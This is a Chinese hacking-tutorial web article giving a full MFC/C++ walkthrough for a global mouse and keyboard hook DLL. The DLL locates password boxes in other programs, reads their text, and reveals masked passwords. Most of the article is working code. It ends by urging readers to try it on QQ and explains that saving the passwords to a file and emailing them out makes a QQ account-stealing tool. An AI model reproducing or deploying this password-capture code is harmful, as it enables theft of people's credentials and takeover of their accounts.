登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 黑客编程 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

利用鼠标键盘钩子截获密码
发表日期:2003-12-02作者:blodes[原创] 出处:  

利用鼠标键盘钩子截获密码。源码示例:本站下载

钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的

钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息
3、WH_DEBUG    调试钩子
4、WH_FOREGROUNDIDLE   当当应用程序的前台线程大概要变成空闲状态时,系统就会调用      WH_FOREGROUNDIDL
5、WH_JOURNALRECORD   监视和记录输入事件
6、WH_JOURNALPLAYBACK   回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD    键盘钩子
9、WH_KEYBOARD_LL   低层键盘钩子
10、WH_MOUSE    鼠标钩子
11、WH_MOUSE_LL    底层鼠标钩子
12、WH_SHELL    外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER  使我们可以监视菜单,滚动条,消息框等

安装钩子:
  调用函数SetWindowsHookEx安装钩子。其函数原型为:
 HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
 idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。
 Lpfn是钩子函数的地址。
 HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
    dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。
   SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子
   调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子函数
  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
 LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)
 参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:
 下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject 
{
public:
 BOOL StopHook();
 BOOL StartHook(HWND hwnd);
 
 CGetPassHook();
 virtual ~CGetPassHook();

};
3:加入全局共享数据,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL;  file://keyboar hook
HHOOK hMouseHook=NULL;   file://mouse hook
HINSTANCE glhInstance=NULL;  file://globle instance
HWND hOutPutWnd=NULL;   file://Display Pass Wnd
#pragma data_seg()

4:加入鼠标,键盘钩子处理函数,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{  file://鼠标钩子得理函数
 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
 if(nCode>=0)
 {
  HWND hTargetHwnd=lpMouse->hwnd;  file://得到鼠标所在窗口句柄
  if(hTargetHwnd)
  {
   LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式
   if(style&ES_PASSWORD)  file://如果是密码框
   {
    char szPass[255];
    ::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
      file://得到密码
    ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
      file://显示密码
   }
  }
 }
 
 return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{  file://keyboard hook proc

 if(nCode>=0)
 {
  HWND hTargetHwnd=GetActiveWindow();  file://get active window
  if(hTargetHwnd)
   EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口
 }

 return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

 这里要介绍下EnumChildWindows函数,原形如下:
 BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
 hWndParent:为枚举窗口的句柄
 lpEnumFunc:枚举函数的地址,
 lParam:这里为0

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{  file://enum the child window,find passedit
 if(hwnd)
 {
  LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE
  if(style&ES_PASSWORD)   file://是密码框
  {
   char szPass[255];
   ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS
   ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示
   return TRUE;
  }
 }

 return TRUE;
}

6:在DEF文件中定义段属性: (这步很重要)
  SECTIONS
  mydata READ WRITE SHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{   file://install hoook
 hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
   file://mouse hook
 hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
   file://keyboard hook
 if(hMouseHook&&hKeyBoardHook)
 {
  hOutPutWnd=hwnd; file://显示密码的句柄
  return TRUE;
 }
 return FALSE;
}

BOOL CGetPassHook::StopHook()
{   file://unstall hook
 BOOL mHook=UnhookWindowsHookEx(hMouseHook);
 BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
 if(mHook&&kHook)
  return TRUE;
 return FALSE;
}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; file://记得这里
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
 UNREFERENCED_PARAMETER(lpReserved);
 if (dwReason == DLL_PROCESS_ATTACH)
 {
  TRACE0("GETPASS.DLL Initializing!\n");
 
  if (!AfxInitExtensionModule(GetPassDLL, hInstance))
   return 0;
  new CDynLinkLibrary(GetPassDLL);
  glhInstance=hInstance; file://得到句柄
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  TRACE0("GETPASS.DLL Terminating!\n");
  AfxTermExtensionModule(GetPassDLL);
 }
 return 1;   // ok
}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files
选择这两个文件。

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
 CGetPassHook m_hook;
。。。
 DECLARE_MESSAGE_MAP()
};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
 CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
 m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook

 return TRUE;  // return TRUE  unless you set the focus to a control
}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
 CDialog::OnDestroy();
 m_hook.StopHook(); file://stop hook
}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行.
 这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。


 

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 利用鼠标键盘钩子截获密码

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00151